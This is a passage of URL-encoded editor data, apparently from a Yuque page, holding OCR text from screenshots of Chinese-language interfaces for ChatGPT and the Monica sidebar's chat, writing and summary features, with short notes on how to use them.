2C%22width%22%3A28%2C%22height%22%3A12%2C%22text%22%3A%22CHAT%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A18%2C%22width%22%3A62%2C%22height%22%3A14%2C%22text%22%3A%22%5C%22CHATGPT%22%7D%2C%7B%22x%22%3A98%2C%22y%22%3A19%2C%22width%22%3A41%2C%22height%22%3A15%2C%22text%22%3A%22(%E5%85%A8%E5%90%8D%3A%22%7D%2C%7B%22x%22%3A148%2C%22y%22%3A19%2C%22width%22%3A152%2C%22height%22%3A15%2C%22text%22%3A%22CHAT%20GENERATIVE%20PRE-TRAI%22%7D%2C%7B%22x%22%3A475%2C%22y%22%3A25%2C%22width%22%3A28%2C%22height%22%3A15%2C%22text%22%3A%22%E8%A1%8C%E8%87%AA%22%7D%2C%7B%22x%22%3A156%2C%22y%22%3A41%2C%22width%22%3A143%2C%22height%22%3A17%2C%22text%22%3A%22%E7%BE%8E%E5%9B%BDOPENAI%E7%A0%94%E5%8F%91%E7%9A%84%E8%81%8A%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A42%2C%22width%22%3A106%2C%22height%22%3A13%2C%22text%22%3A%22NED%20TRANSFOMMER)%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A62%2C%22width%22%3A123%2C%22height%22%3A17%2C%22text%22%3A%22%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%A8%8B%E5%BA%8F%2C%E4%BA%8E2%22%7D%2C%7B%22x%22%3A171%2C%22y%22%3A65%2C%22width%22%3A111%2C%22height%22%3A14%2C%22text%22%3A%22%E5%B9%B411%E6%9C%8830%E6%97%A5%E5%8F%91%E5%B8%83.%22%7D%2C%7B%22x%22%3A47%2C%22y%22%3A97%2C%22width%22%3A58%2C%22height%22%3A19%2C%22text%22%3A%22%E8%A7%A3%E9%87%8A%40%22%7D%2C%7B%22x%22%3A176%2C%22y%22%3A136%2C%22width%22%3A46%2C%22height%22%3A16%2C%22text%22%3A%22%E5%87%B9%E8%A7%A3%E9%87%8A%22%7D%2C%7B%22x%22%3A250%2C%22y%22%3A136%2C%22width%22%3A72%2C%22height%22%3A16%2C%22text%22%3A%22%7B%7D%E8%A7%A3%E9%87%8A%E4%BB%A3%E7%A0%81%22%7D%2C%7B%22x%22%3A352%2C%22y%22%3A136%2C%22width%22%3A44%2C%22height%22%3A16%2C%22text%22%3A%22%E4%B9%8B%E9%87%8D%E5%86%99%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A137%2C%22width%22%3A46%2C%22height%22%3A15%2C%22text%22%3A%22%E5%8F%A3%E6%91%98%E8%A6%81%22%7D%2C%7B%22x%22%3A102%2C%22y%22%3A137%2C%22width%22%3A47%2C%22height%22%3A15%2C%22text%22%3A%22%E4%BA%91%E8%AF%AD%E6%B3%95%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A183%2C%22width%22%3A251%2C%22height%22%3A13%2C%22text%22%3A%22CHAT%20GENERATIVE%20PRE-TRAINED%20TRANSFORMER%22%7D%2C%7B%22x%22%3A16%2C%22y%22%3A226%2C%22width%22%3A31%2C%22height%22%3A16%2C%22text%22%3A%22%E7%BB%93%E6%9E%9C%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A265%2C%22width%22%3A442%2C%22height%22%3A16%2C%22text%22%3A%22%E8%BF%99%E6%AE%B5%E6%96%87%E6%9C%AC%E4%BB%8B%E7%BB%8D%E4%BA%86%E4%B8%80%E7%A7%8D%E6%8A%80%E6%9C%AF%2C%E5%8D%B3%E9%A2%84%E8%AE%AD%E7%BB%83%E7%9A%84%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%2C%E7%94%A8%E4%BA%8E%E7%94%9F%E6%88%90%E8%81%8A%E5%A4%A9%E5%AF%B9%E8%AF%9D.%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A289%2C%22width%22%3A442%2C%22height%22%3A16%2C%22text%22%3A%22%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%E6%98%AF%E4%B8%80%E7%A7%8D%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A8%A1%E5%9E%8B%2C%E7%94%A8%E4%BA%8E%E5%A4%84%E7%90%86%E5%BA%8F%E5%88%97%E6%95%B0%E6%8D%AE%2C%E5%A6%82%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E6%96%87%E6%9C%AC.%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A313%2C%22width%22%3A449%2C%22height%22%3A17%2C%22text%22%3A%22%E9%A2%84%E8%AE%AD%E7%BB%83%E7%9A%84%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%E6%98%AF%E5%9C%A8%E5%A4%A7%E8%A7%84%E6%A8%A1%E8%AF%AD%E6%96%99%E5%BA%93%E4%B8%8A%E8%BF%9B%E8%A1%8C%E8%AE%AD%E7%BB%83%E7%9A%84%2C%E5%9C%A8%E8%AE%AD%E7%BB%83%E8%BF%87%E7%A8%8B%E4%B8%AD%E5%AD%A6%E4%B9%A0%22%7D%2C%7B%22x%22%3A28%2C%22y%22%3A336%2C%22width%22%3A447%2C%22height%22%3A16%2C%22text%22%3A%22%E4%BA%86%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%2C%E4%BB%8E%E8%80%8C%E8%83%BD%E5%A4%9F%E7%94%9F%E6%88%90%E8%87%AA%E7%84%B6%E6%B5%81%E7%95%85%E7%9A%84%E6%96%87%E6%9C%AC.%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF%E5%8F%AF%E4%BB%A5%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A360%2C%22width%22%3A247%2C%22height%22%3A16%2C%22text%22%3A%22%E7%94%A8%E4%BA%8E%E5%BC%80%E5%8F%91%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D%E7%AD%89%E5%BA%94%E7%94%A8.%22%7D%2C%7B%22x%22%3A385%2C%22y%22%3A406%2C%22width%22%3A80%2C%22height%22%3A15%2C%22text%22%3A%22%E8%87%AA%E7%BB%A7%E7%BB%AD%E8%81%8A%E5%A4%A9%22%7D%5D%2C%22search%22%3A%22CHAT%20%5C%22CHATGPT%20(%E5%85%A8%E5%90%8D%3A%20CHAT%20GENERATIVE%20PRE-TRAI%20%E8%A1%8C%E8%87%AA%20%E7%BE%8E%E5%9B%BDOPENAI%E7%A0%94%E5%8F%91%E7%9A%84%E8%81%8A%20NED%20TRANSFOMMER)%20%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%E7%A8%8B%E5%BA%8F%2C%E4%BA%8E2%20%E5%B9%B411%E6%9C%8830%E6%97%A5%E5%8F%91%E5%B8%83.%20%E8%A7%A3%E9%87%8A%40%20%E5%87%B9%E8%A7%A3%E9%87%8A%20%7B%7D%E8%A7%A3%E9%87%8A%E4%BB%A3%E7%A0%81%20%E4%B9%8B%E9%87%8D%E5%86%99%20%E5%8F%A3%E6%91%98%E8%A6%81%20%E4%BA%91%E8%AF%AD%E6%B3%95%20CHAT%20GENERATIVE%20PRE-TRAINED%20TRANSFORMER%20%E7%BB%93%E6%9E%9C%20%E8%BF%99%E6%AE%B5%E6%96%87%E6%9C%AC%E4%BB%8B%E7%BB%8D%E4%BA%86%E4%B8%80%E7%A7%8D%E6%8A%80%E6%9C%AF%2C%E5%8D%B3%E9%A2%84%E8%AE%AD%E7%BB%83%E7%9A%84%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%2C%E7%94%A8%E4%BA%8E%E7%94%9F%E6%88%90%E8%81%8A%E5%A4%A9%E5%AF%B9%E8%AF%9D.%20%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%E6%98%AF%E4%B8%80%E7%A7%8D%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E6%A8%A1%E5%9E%8B%2C%E7%94%A8%E4%BA%8E%E5%A4%84%E7%90%86%E5%BA%8F%E5%88%97%E6%95%B0%E6%8D%AE%2C%E5%A6%82%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E6%96%87%E6%9C%AC.%20%E9%A2%84%E8%AE%AD%E7%BB%83%E7%9A%84%E5%8F%98%E5%8E%8B%E5%99%A8%E6%A8%A1%E5%9E%8B%E6%98%AF%E5%9C%A8%E5%A4%A7%E8%A7%84%E6%A8%A1%E8%AF%AD%E6%96%99%E5%BA%93%E4%B8%8A%E8%BF%9B%E8%A1%8C%E8%AE%AD%E7%BB%83%E7%9A%84%2C%E5%9C%A8%E8%AE%AD%E7%BB%83%E8%BF%87%E7%A8%8B%E4%B8%AD%E5%AD%A6%E4%B9%A0%20%E4%BA%86%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%2C%E4%BB%8E%E8%80%8C%E8%83%BD%E5%A4%9F%E7%94%9F%E6%88%90%E8%87%AA%E7%84%B6%E6%B5%81%E7%95%85%E7%9A%84%E6%96%87%E6%9C%AC.%E8%BF%99%E7%A7%8D%E6%8A%80%E6%9C%AF%E5%8F%AF%E4%BB%A5%20%E7%94%A8%E4%BA%8E%E5%BC%80%E5%8F%91%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E6%99%BA%E8%83%BD%E5%AE%A2%E6%9C%8D%E7%AD%89%E5%BA%94%E7%94%A8.%20%E8%87%AA%E7%BB%A7%E7%BB%AD%E8%81%8A%E5%A4%A9%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fdfdfd%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u426dfe2a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u9f80412b%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E4%BD%BF%E7%94%A8ctrl%2Bm%E5%8F%AF%E4%BB%A5%E6%89%93%E5%BC%80%E4%BE%A7%E8%BE%B9%EF%BC%8C%E8%BF%99%E9%87%8C%E6%9C%89%E4%B8%A4%E4%B8%AA%E5%8A%9F%E8%83%BD%EF%BC%8C%E4%B8%80%E4%B8%AA%E6%98%AF%E8%81%8A%E5%A4%A9%E5%92%8C%E5%86%99%E4%BD%9C%E8%BE%85%E5%8A%A9%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud3ebb9cc%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uc1613d52%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682594764927-52633cc4-ba4d-4b71-a9ee-8020d8f658f8.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A606%2C%22height%22%3A708%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A44182%2C%22width%22%3A400.9090576171875%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ub66dd1b8-49e8-4cbd-bcff-26e4251c9db%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A589%2C%22y%22%3A19%2C%22width%22%3A14%2C%22height%22%3A16%2C%22text%22%3A%22X%22%7D%2C%7B%22x%22%3A246%2C%22y%22%3A19%2C%22width%22%3A55%2C%22height%22%3A15%2C%22text%22%3A%22MONICA%22%7D%2C%7B%22x%22%3A218%2C%22y%22%3A64%2C%22width%22%3A33%2C%22height%22%3A16%2C%22text%22%3A%22%E8%81%8A%E5%A4%A9%22%7D%2C%7B%22x%22%3A277%2C%22y%22%3A64%2C%22width%22%3A32%2C%22height%22%3A15%2C%22text%22%3A%22%E5%86%99%E4%BD%9C%22%7D%2C%7B%22x%22%3A572%2C%22y%22%3A66%2C%22width%22%3A26%2C%22height%22%3A12%2C%22text%22%3A%22FREE%22%7D%2C%7B%22x%22%3A559%2C%22y%22%3A107%2C%22width%22%3A48%2C%22height%22%3A18%2C%22text%22%3A%22%E5%93%81%E6%A8%A1%E6%9D%BF%22%7D%2C%7B%22x%22%3A218%2C%22y%22%3A109%2C%22width%22%3A58%2C%22height%22%3A16%2C%22text%22%3A%22%E5%86%99%E4%BD%9C%E5%86%85%E5%AE%B9%22%7D%2C%7B%22x%22%3A229%2C%22y%22%3A148%2C%22width%22%3A261%2C%22height%22%3A19%2C%22text%22%3A%22%E5%91%8A%E8%AF%89%E6%88%91%E8%AF%A5%E5%86%99%E7%82%B9%E4%BB%80%E4%B9%88%2C%E6%8C%89CTRL%2BENTER%E7%94%9F%E6%88%90.%22%7D%2C%7B%22x%22%3A45%2C%22y%22%3A159%2C%22width%22%3A53%2C%22height%22%3A14%2C%22text%22%3A%22%E7%9B%B8%E5%85%B3%E9%97%AE%E9%A2%98%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A218%2C%22width%22%3A116%2C%22height%22%3A22%2C%22text%22%3A%22%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%AE%83%E5%8F%AF%E4%BB%A5%E8%BF%9B%22%7D%2C%7B%22x%22%3A97%2C%22y%22%3A270%2C%22width%22%3A26%2C%22height%22%3A13%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A221%2C%22y%22%3A289%2C%22width%22%3A53%2C%22height%22%3A15%2C%22text%22%3A%22%E4%B8%89%E9%95%BF%E5%BA%A6%22%7D%2C%7B%22x%22%3A98%2C%22y%22%3A299%2C%22width%22%3A26%2C%22height%22%3A14%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A279%2C%22y%22%3A318%2C%22width%22%3A18%2C%22height%22%3A16%2C%22text%22%3A%22%E7%9F%AD%22%7D%2C%7B%22x%22%3A375%2C%22y%22%3A318%2C%22width%22%3A18%2C%22height%22%3A17%2C%22text%22%3A%22%E9%95%BF%22%7D%2C%7B%22x%22%3A227%2C%22y%22%3A320%2C%22width%22%3A26%2C%22height%22%3A13%2C%22text%22%3A%22%E8%87%AA%E5%8A%A8%22%7D%2C%7B%22x%22%3A322%2C%22y%22%3A320%2C%22width%22%3A28%2C%22height%22%3A13%2C%22text%22%3A%22%E4%B8%AD%E7%AD%89%22%7D%2C%7B%22x%22%3A98%2C%22y%22%3A329%2C%22width%22%3A26%2C%22height%22%3A14%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A97%2C%22y%22%3A359%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E6%8F%90%E9%97%AE%22%7D%2C%7B%22x%22%3A243%2C%22y%22%3A362%2C%22width%22%3A31%2C%22height%22%3A14%2C%22text%22%3A%22%E6%A0%BC%E5%BC%8F%22%7D%2C%7B%22x%22%3A227%2C%22y%22%3A392%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E8%87%AA%E5%8A%A8%22%7D%2C%7B%22x%22%3A343%2C%22y%22%3A392%2C%22width%22%3A27%2C%22height%22%3A13%2C%22text%22%3A%22%E6%B6%88%E6%81%AF%22%7D%2C%7B%22x%22%3A397%2C%22y%22%3A392%2C%22width%22%3A28%2C%22height%22%3A14%2C%22text%22%3A%22%E8%AF%84%E8%AE%BA%22%7D%2C%7B%22x%22%3A451%2C%22y%22%3A392%2C%22width%22%3A27%2C%22height%22%3A13%2C%22text%22%3A%22%E6%AE%B5%E8%90%BD%22%7D%2C%7B%22x%22%3A505%2C%22y%22%3A392%2C%22width%22%3A29%2C%22height%22%3A15%2C%22text%22%3A%22%E6%96%87%E7%AB%A0%22%7D%2C%7B%22x%22%3A281%2C%22y%22%3A393%2C%22width%22%3A33%2C%22height%22%3A11%2C%22text%22%3A%22EMAIL%22%7D%2C%7B%22x%22%3A415%2C%22y%22%3A425%2C%22width%22%3A29%2C%22height%22%3A15%2C%22text%22%3A%22%E6%8E%A8%E7%89%B9%22%7D%2C%7B%22x%22%3A228%2C%22y%22%3A426%2C%22width%22%3A54%2C%22height%22%3A14%2C%22text%22%3A%22%E5%8D%9A%E5%AE%A2%E6%96%87%E7%AB%A0%22%7D%2C%7B%22x%22%3A361%2C%22y%22%3A426%2C%22width%22%3A28%2C%22height%22%3A14%2C%22text%22%3A%22%E5%A4%A7%E7%BA%B2%22%7D%2C%7B%22x%22%3A307%2C%22y%22%3A426%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E6%83%B3%E6%B3%95%22%7D%2C%7B%22x%22%3A102%2C%22y%22%3A464%2C%22width%22%3A42%2C%22height%22%3A15%2C%22text%22%3A%22%E6%8D%A2%E4%B8%80%E6%8D%A2%22%7D%2C%7B%22x%22%3A244%2C%22y%22%3A467%2C%22width%22%3A31%2C%22height%22%3A14%2C%22text%22%3A%22%E8%AF%AD%E6%B0%94%22%7D%2C%7B%22x%22%3A336%2C%22y%22%3A497%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E9%9A%8F%E6%84%8F%22%7D%2C%7B%22x%22%3A497%2C%22y%22%3A497%2C%22width%22%3A28%2C%22height%22%3A15%2C%22text%22%3A%22%E8%AF%99%E8%B0%90%22%7D%2C%7B%22x%22%3A390%2C%22y%22%3A498%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E5%8F%8B%E5%A5%BD%22%7D%2C%7B%22x%22%3A552%2C%22y%22%3A498%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E6%9C%89%E8%B6%A3%22%7D%2C%7B%22x%22%3A228%2C%22y%22%3A498%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E8%87%AA%E5%8A%A8%22%7D%2C%7B%22x%22%3A446%2C%22y%22%3A498%2C%22width%22%3A26%2C%22height%22%3A14%2C%22text%22%3A%22%E4%B8%93%E4%B8%9A%22%7D%2C%7B%22x%22%3A282%2C%22y%22%3A498%2C%22width%22%3A27%2C%22height%22%3A14%2C%22text%22%3A%22%E5%8F%8B%E5%96%84%22%7D%2C%7B%22x%22%3A227%2C%22y%22%3A531%2C%22width%22%3A28%2C%22height%22%3A15%2C%22text%22%3A%22%E6%AD%A3%E5%BC%8F%22%7D%2C%7B%22x%22%3A7%2C%22y%22%3A567%2C%22width%22%3A17%2C%22height%22%3A14%2C%22text%22%3A%22%E7%83%AD%22%7D%2C%7B%22x%22%3A219%2C%22y%22%3A572%2C%22width%22%3A53%2C%22height%22%3A15%2C%22text%22%3A%22%E6%96%87A%E8%AF%AD%E8%A8%80%22%7D%2C%7B%22x%22%3A353%2C%22y%22%3A604%2C%22width%22%3A34%2C%22height%22%3A14%2C%22text%22%3A%22%E6%B7%BB%E5%8A%A0...%22%7D%2C%7B%22x%22%3A228%2C%22y%22%3A605%2C%22width%22%3A28%2C%22height%22%3A13%2C%22text%22%3A%22%E8%87%AA%E5%8A%A8%22%7D%2C%7B%22x%22%3A281%2C%22y%22%3A605%2C%22width%22%3A42%2C%22height%22%3A13%2C%22text%22%3A%22ENGLISH%22%7D%2C%7B%22x%22%3A384%2C%22y%22%3A652%2C%22width%22%3A58%2C%22height%22%3A14%2C%22text%22%3A%22%E7%94%9F%E6%88%90%E8%8D%89%E7%A8%BF%22%7D%2C%7B%22x%22%3A1%2C%22y%22%3A661%2C%22width%22%3A36%2C%22height%22%3A16%2C%22text%22%3A%22%E7%BD%84%E7%83%AD%22%7D%2C%7B%22x%22%3A0%2C%22y%22%3A694%2C%22width%22%3A21%2C%22height%22%3A14%2C%22text%22%3A%22%E7%9A%AE%E6%8D%95%22%7D%5D%2C%22search%22%3A%22X%20MONICA%20%E8%81%8A%E5%A4%A9%20%E5%86%99%E4%BD%9C%20FREE%20%E5%93%81%E6%A8%A1%E6%9D%BF%20%E5%86%99%E4%BD%9C%E5%86%85%E5%AE%B9%20%E5%91%8A%E8%AF%89%E6%88%91%E8%AF%A5%E5%86%99%E7%82%B9%E4%BB%80%E4%B9%88%2C%E6%8C%89CTRL%2BENTER%E7%94%9F%E6%88%90.%20%E7%9B%B8%E5%85%B3%E9%97%AE%E9%A2%98%20%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%AE%83%E5%8F%AF%E4%BB%A5%E8%BF%9B%20%E6%8F%90%E9%97%AE%20%E4%B8%89%E9%95%BF%E5%BA%A6%20%E6%8F%90%E9%97%AE%20%E7%9F%AD%20%E9%95%BF%20%E8%87%AA%E5%8A%A8%20%E4%B8%AD%E7%AD%89%20%E6%8F%90%E9%97%AE%20%E6%8F%90%E9%97%AE%20%E6%A0%BC%E5%BC%8F%20%E8%87%AA%E5%8A%A8%20%E6%B6%88%E6%81%AF%20%E8%AF%84%E8%AE%BA%20%E6%AE%B5%E8%90%BD%20%E6%96%87%E7%AB%A0%20EMAIL%20%E6%8E%A8%E7%89%B9%20%E5%8D%9A%E5%AE%A2%E6%96%87%E7%AB%A0%20%E5%A4%A7%E7%BA%B2%20%E6%83%B3%E6%B3%95%20%E6%8D%A2%E4%B8%80%E6%8D%A2%20%E8%AF%AD%E6%B0%94%20%E9%9A%8F%E6%84%8F%20%E8%AF%99%E8%B0%90%20%E5%8F%8B%E5%A5%BD%20%E6%9C%89%E8%B6%A3%20%E8%87%AA%E5%8A%A8%20%E4%B8%93%E4%B8%9A%20%E5%8F%8B%E5%96%84%20%E6%AD%A3%E5%BC%8F%20%E7%83%AD%20%E6%96%87A%E8%AF%AD%E8%A8%80%20%E6%B7%BB%E5%8A%A0...%20%E8%87%AA%E5%8A%A8%20ENGLISH%20%E7%94%9F%E6%88%90%E8%8D%89%E7%A8%BF%20%E7%BD%84%E7%83%AD%20%E7%9A%AE%E6%8D%95%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22averageHue%22%3A%22%23fefefd%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ued629464%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0a0526d7%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%AE%83%E8%BF%98%E5%8F%AF%E4%BB%A5%E6%8F%90%E4%BE%9B%E9%98%85%E8%AF%BB%E5%8A%9F%E8%83%BD%EF%BC%8C%E5%8F%AF%E4%BB%A5%E7%9B%B4%E6%8E%A5%E7%BB%99%E5%AE%83%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%EF%BC%8C%E7%84%B6%E5%90%8E%E8%AE%A9%E4%BB%96%E9%98%85%E8%AF%BB%EF%BC%8C%E4%BB%96%E4%BC%9A%E7%9B%B4%E6%8E%A5%E7%BB%99%E4%BD%A0%E8%BF%94%E5%9B%9E%E6%96%87%E7%AB%A0%E7%9A%84%E6%91%98%E8%A6%81%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud4db5eff%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22uac937f27%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682595045556-4acf66c5-bd40-4fa3-984f-1d36b343265f.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A390%2C%22height%22%3A482%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A43563%2C%22width%22%3A475.5454406738281%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ub80bfb9c-832a-4e78-9f89-96e58526198%22%2C%22clientId%22%3A%22u91e41265-b623-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A13%2C%22y%22%3A21%2C%22width%22%3A66%2C%22height%22%3A15%2C%22text%22%3A%22%E4%B8%AD%E6%96%87%E7%AB%A0%E6%91%98%E8%A6%81%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A46%2C%22width%22%3A364%2C%22height%22%3A17%2C%22text%22%3A%22%E6%9C%AC%E6%96%87%E4%BB%8B%E7%BB%8D%E4%BA%86%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8CHATGPT%2C%E5%B9%B6%E6%8F%90%E4%BE%9B%E4%BA%86%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A67%2C%22width%22%3A351%2C%22height%22%3A15%2C%22text%22%3A%22%E8%B7%B5.%E4%BD%9C%E8%80%85%E4%BB%8B%E7%BB%8D%E4%BA%86%E4%B8%A4%E7%A7%8D%E5%B8%B8%E7%94%A8%E7%9A%84%E6%89%AE%E6%BC%94%E6%B3%95%E6%8C%87%E4%BB%A4%E6%A8%A1%E5%BC%8F%2C%E4%BB%A5%E5%8F%8A%E4%B8%80%E4%BA%9B%E6%9C%89%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A88%2C%22width%22%3A362%2C%22height%22%3A14%2C%22text%22%3A%22%E8%B6%A3%E7%9A%84%E5%8F%82%E6%95%B0%E8%AE%BE%E7%BD%AE.%E6%96%87%E7%AB%A0%E8%BF%98%E6%8F%90%E5%88%B0%E4%BA%86PROMPT%20ENGINEERING%2C%E8%BF%99%E6%98%AF%E4%B8%80%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A110%2C%22width%22%3A329%2C%22height%22%3A14%2C%22text%22%3A%22%E7%A7%8D%E8%BE%85%E5%8A%A9%E5%86%99%E5%90%84%E7%A7%8DPROMPT%E7%9A%84%E4%BA%A7%E5%93%81.%E6%9C%80%E5%90%8E%2C%E4%BD%9C%E8%80%85%E9%BC%93%E5%8A%B1%E8%AF%BB%E8%80%85%E5%9C%A8%22%7D%2C%7B%22x%22%3A14%2C%22y%22%3A131%2C%22width%22%3A185%2C%22height%22%3A16%2C%22text%22%3A%22CHATGPT%E7%9A%84%E5%9F%BA%E7%A1%80%E4%B8%8A%E8%BF%9B%E4%B8%80%E6%AD%A5%E6%8E%A2%E7%B4%A2.%22%7D%2C%7B%22x%22%3A13%2C%22y%22%3A169%2C%22width%22%3A113%2C%22height%22%3A14%2C%22text%22%3A%22%E6%82%A8%E5%8F%AF%E8%83%BD%E6%84%9F%E5%85%B4%E8%B6%A3%E7%9A%84%E9%97%AE%E9%A2%98%3A%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A192%2C%22width%22%3A281%2C%22height%22%3A16%2C%22text%22%3A%22%E6%9C%AC%E6%96%87%E6%8F%90%E5%88%B0%E4%BA%86%E5%93%AA%E4%BA%9B%E6%89%AE%E6%BC%94%E6%B3%95%E6%8C%87%E4%BB%A4%E6%A8%A1%E5%BC%8F%3F%E5%AE%83%E4%BB%AC%E6%9C%89%E4%BD%95%E5%8C%BA%E5%88%AB%3F%22%7D%2C%7B%22x%22%3A26%2C%22y%22%3A213%2C%22width%22%3A327%2C%22height%22%3A16%2C%22text%22%3A%22%E4%BD%9C%E8%80%85%E6%8F%90%E5%88%B0%E4%BA%86%E5%93%AA%E4%BA%9B%E6%9C%89%E8%B6%A3%E7%9A%84%E5%8F%82%E6%95%B0%E8%AE%BE%E7%BD%AE%3F%E5%AE%83%E4%BB%AC%E5%A6%82%E4%BD%95%E5%BD%B1%E5%93%8D%E5%9B%9E%E5%A4%8D%E7%9A%84%E7%94%9F%22%7D%2C%7B%22x%22%3A27%2C%22y%22%3A233%2C%22width%22%3A18%2C%22height%22%3A13%2C%22text%22%3A%22%E6%88%90%3F%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A253%2C%22width%22%3A299%2C%22height%22%3A16%2C%22text%22%3A%22PROMPT%20ENGINEERING%E6%98%AF%E4%BB%80%E4%B9%88%3F%E5%AE%83%E5%A6%82%E4%BD%95%E5%B8%AE%E5%8A%A9%E6%88%91%E4%BB%AC%E5%86%99%E5%90%84%E7%A7%8D%22%7D%2C%7B%22x%22%3A25%2C%22y%22%3A275%2C%22width%22%3A51%2C%22height%22%3A13%2C%22text%22%3A%22PROMPT%3F%22%7D%2C%7B%22x%22%3A9%2C%22y%22%3A324%2C%22width%22%3A23%2C%22height%22%3A15%2C%22text%22%3A%22L%E6%97%A5%22%7D%2C%7B%22x%22%3A10%2C%22y%22%3A